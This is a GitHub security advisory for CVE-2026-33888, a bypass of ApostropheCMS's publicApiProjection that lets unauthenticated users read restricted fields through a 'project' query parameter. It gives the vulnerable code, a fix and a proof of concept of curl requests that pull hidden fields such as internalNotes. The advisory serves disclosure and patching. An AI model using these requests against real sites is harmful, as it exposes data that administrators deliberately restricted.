GHSA-XHQ9-58FW-859P
Vulnerability from github – Published: 2026-04-16 20:42 – Updated: 2026-04-16 20:42Summary
The getRestQuery method in the @apostrophecms/piece-type module checks whether a MongoDB projection has already been set before applying the admin-configured publicApiProjection. An unauthenticated attacker can supply a project query parameter in the REST API request to pre-populate the projection state, causing the security-enforced publicApiProjection to be skipped entirely. This allows disclosure of fields that the site administrator explicitly restricted from public access.
Details
When an unauthenticated user queries the piece-type REST API, the getRestQuery method processes the request at modules/@apostrophecms/piece-type/index.js:1120:
// piece-type/index.js:1120-1137
getRestQuery(req, omitPermissionCheck = false) {
const query = self.find(req).attachments(true);
query.applyBuildersSafely(req.query); // [1] attacker input applied first
if (!omitPermissionCheck && !self.canAccessApi(req)) {
if (!self.options.publicApiProjection) {
query.and({
_id: null
});
} else if (!query.state.project) { // [2] checks if projection already set
query.project({
...self.options.publicApiProjection,
cacheInvalidatedAt: 1
});
}
}
return query;
},
At [1], applyBuildersSafely iterates over all query string parameters and invokes their corresponding builder methods. The project builder exists in @apostrophecms/doc-type with a launder method (doc-type/index.js:1876) that sanitizes values to booleans:
// doc-type/index.js:1875-1889
project: {
launder (p) {
if (!p || typeof p !== 'object' || Array.isArray(p)) {
return {};
}
const projection = Object.entries(p).reduce((acc, [ key, val ]) => {
return {
...acc,
[key]: self.apos.launder.boolean(val)
};
}, {});
return projection;
},
When a request includes ?project[someField]=1, the builder sets query.state.project to {someField: true}. At [2], the conditional !query.state.project evaluates to false because the state is already populated, so the publicApiProjection is never applied.
For comparison, the @apostrophecms/page module's equivalent method (page/index.js:2953) unconditionally applies the projection:
// page/index.js:2953-2958
} else {
query.project({
...self.options.publicApiProjection,
cacheInvalidatedAt: 1
});
}
PoC
Prerequisites: An ApostropheCMS 4.x instance with a piece-type (e.g., article) that has publicApiProjection configured to restrict fields. For example:
// modules/article/index.js
module.exports = {
extend: '@apostrophecms/piece-type',
options: {
publicApiProjection: {
title: 1,
_url: 1
}
}
};
Step 1: Normal request — observe restricted fields are hidden:
curl 'http://localhost:3000/api/v1/article'
Response returns only title and _url fields per the configured projection.
Step 2: Bypass projection by supplying project query parameter:
curl 'http://localhost:3000/api/v1/article?project[internalNotes]=1&project[title]=1&project[slug]=1&project[createdAt]=1'
Response now includes internalNotes, slug, createdAt, and any other requested fields — bypassing the admin-configured publicApiProjection restriction.
Step 3: Request all default fields by projecting inclusion of sensitive fields:
curl 'http://localhost:3000/api/v1/article?project[_id]=1&project[title]=1&project[slug]=1&project[visibility]=1&project[type]=1&project[createdAt]=1&project[updatedAt]=1'
All requested fields are returned, confirming the publicApiProjection is fully bypassed.
Impact
- Information Disclosure: An unauthenticated attacker can read any field on documents that are already publicly queryable, bypassing administrator-configured field restrictions. This may expose internal notes, draft content, metadata, or other sensitive fields the administrator intentionally hid from the public API.
- Scope: Affects all piece-type modules with
publicApiProjectionconfigured. The attacker cannot access documents they wouldn't otherwise be able to query (document-level permissions still apply), but they can read any field on accessible documents. - Exploitability: Trivial — requires only appending query parameters to a public URL. No authentication, special tools, or chaining required.
Recommended Fix
Remove the conditional check on query.state.project in piece-type/index.js, matching the page module's unconditional behavior. The admin-configured publicApiProjection should always override any user-supplied projection for unauthenticated users:
// modules/@apostrophecms/piece-type/index.js:1123-1134
// BEFORE (vulnerable):
if (!omitPermissionCheck && !self.canAccessApi(req)) {
if (!self.options.publicApiProjection) {
query.and({
_id: null
});
} else if (!query.state.project) {
query.project({
...self.options.publicApiProjection,
cacheInvalidatedAt: 1
});
}
}
// AFTER (fixed):
if (!omitPermissionCheck && !self.canAccessApi(req)) {
if (!self.options.publicApiProjection) {
query.and({
_id: null
});
} else {
query.project({
...self.options.publicApiProjection,
cacheInvalidatedAt: 1
});
}
}
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "apostrophe"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.29.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33888"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T20:42:21Z",
"nvd_published_at": "2026-04-15T20:16:35Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe `getRestQuery` method in the `@apostrophecms/piece-type` module checks whether a MongoDB projection has already been set before applying the admin-configured `publicApiProjection`. An unauthenticated attacker can supply a `project` query parameter in the REST API request to pre-populate the projection state, causing the security-enforced `publicApiProjection` to be skipped entirely. This allows disclosure of fields that the site administrator explicitly restricted from public access.\n\n## Details\n\nWhen an unauthenticated user queries the piece-type REST API, the `getRestQuery` method processes the request at `modules/@apostrophecms/piece-type/index.js:1120`:\n\n```javascript\n// piece-type/index.js:1120-1137\ngetRestQuery(req, omitPermissionCheck = false) {\n const query = self.find(req).attachments(true);\n query.applyBuildersSafely(req.query); // [1] attacker input applied first\n if (!omitPermissionCheck \u0026\u0026 !self.canAccessApi(req)) {\n if (!self.options.publicApiProjection) {\n query.and({\n _id: null\n });\n } else if (!query.state.project) { // [2] checks if projection already set\n query.project({\n ...self.options.publicApiProjection,\n cacheInvalidatedAt: 1\n });\n }\n }\n return query;\n},\n```\n\nAt **[1]**, `applyBuildersSafely` iterates over all query string parameters and invokes their corresponding builder methods. The `project` builder exists in `@apostrophecms/doc-type` with a `launder` method (`doc-type/index.js:1876`) that sanitizes values to booleans:\n\n```javascript\n// doc-type/index.js:1875-1889\nproject: {\n launder (p) {\n if (!p || typeof p !== \u0027object\u0027 || Array.isArray(p)) {\n return {};\n }\n const projection = Object.entries(p).reduce((acc, [ key, val ]) =\u003e {\n return {\n ...acc,\n [key]: self.apos.launder.boolean(val)\n };\n }, {});\n return projection;\n },\n```\n\nWhen a request includes `?project[someField]=1`, the builder sets `query.state.project` to `{someField: true}`. At **[2]**, the conditional `!query.state.project` evaluates to `false` because the state is already populated, so the `publicApiProjection` is never applied.\n\nFor comparison, the `@apostrophecms/page` module\u0027s equivalent method (`page/index.js:2953`) unconditionally applies the projection:\n\n```javascript\n// page/index.js:2953-2958\n} else {\n query.project({\n ...self.options.publicApiProjection,\n cacheInvalidatedAt: 1\n });\n}\n```\n\n## PoC\n\n**Prerequisites:** An ApostropheCMS 4.x instance with a piece-type (e.g., `article`) that has `publicApiProjection` configured to restrict fields. For example:\n\n```javascript\n// modules/article/index.js\nmodule.exports = {\n extend: \u0027@apostrophecms/piece-type\u0027,\n options: {\n publicApiProjection: {\n title: 1,\n _url: 1\n }\n }\n};\n```\n\n**Step 1:** Normal request \u2014 observe restricted fields are hidden:\n\n```bash\ncurl \u0027http://localhost:3000/api/v1/article\u0027\n```\n\nResponse returns only `title` and `_url` fields per the configured projection.\n\n**Step 2:** Bypass projection by supplying `project` query parameter:\n\n```bash\ncurl \u0027http://localhost:3000/api/v1/article?project[internalNotes]=1\u0026project[title]=1\u0026project[slug]=1\u0026project[createdAt]=1\u0027\n```\n\nResponse now includes `internalNotes`, `slug`, `createdAt`, and any other requested fields \u2014 bypassing the admin-configured `publicApiProjection` restriction.\n\n**Step 3:** Request all default fields by projecting inclusion of sensitive fields:\n\n```bash\ncurl \u0027http://localhost:3000/api/v1/article?project[_id]=1\u0026project[title]=1\u0026project[slug]=1\u0026project[visibility]=1\u0026project[type]=1\u0026project[createdAt]=1\u0026project[updatedAt]=1\u0027\n```\n\nAll requested fields are returned, confirming the `publicApiProjection` is fully bypassed.\n\n## Impact\n\n- **Information Disclosure:** An unauthenticated attacker can read any field on documents that are already publicly queryable, bypassing administrator-configured field restrictions. This may expose internal notes, draft content, metadata, or other sensitive fields the administrator intentionally hid from the public API.\n- **Scope:** Affects all piece-type modules with `publicApiProjection` configured. The attacker cannot access documents they wouldn\u0027t otherwise be able to query (document-level permissions still apply), but they can read any field on accessible documents.\n- **Exploitability:** Trivial \u2014 requires only appending query parameters to a public URL. No authentication, special tools, or chaining required.\n\n## Recommended Fix\n\nRemove the conditional check on `query.state.project` in `piece-type/index.js`, matching the page module\u0027s unconditional behavior. The admin-configured `publicApiProjection` should always override any user-supplied projection for unauthenticated users:\n\n```javascript\n// modules/@apostrophecms/piece-type/index.js:1123-1134\n// BEFORE (vulnerable):\nif (!omitPermissionCheck \u0026\u0026 !self.canAccessApi(req)) {\n if (!self.options.publicApiProjection) {\n query.and({\n _id: null\n });\n } else if (!query.state.project) {\n query.project({\n ...self.options.publicApiProjection,\n cacheInvalidatedAt: 1\n });\n }\n}\n\n// AFTER (fixed):\nif (!omitPermissionCheck \u0026\u0026 !self.canAccessApi(req)) {\n if (!self.options.publicApiProjection) {\n query.and({\n _id: null\n });\n } else {\n query.project({\n ...self.options.publicApiProjection,\n cacheInvalidatedAt: 1\n });\n }\n}\n```",
"id": "GHSA-xhq9-58fw-859p",
"modified": "2026-04-16T20:42:21Z",
"published": "2026-04-16T20:42:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-xhq9-58fw-859p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33888"
},
{
"type": "WEB",
"url": "https://github.com/apostrophecms/apostrophe/commit/00d472804bb622df36a761b6f2cf2b33b2d4ce80"
},
{
"type": "WEB",
"url": "https://github.com/apostrophecms/apostrophe/commit/6c2b548dec2e3f7a82e8e16736603f4cd17525aa"
},
{
"type": "PACKAGE",
"url": "https://github.com/apostrophecms/apostrophe"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "ApostropheCMS: publicApiProjection Bypass via project Query Builder in Piece-Type REST API"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.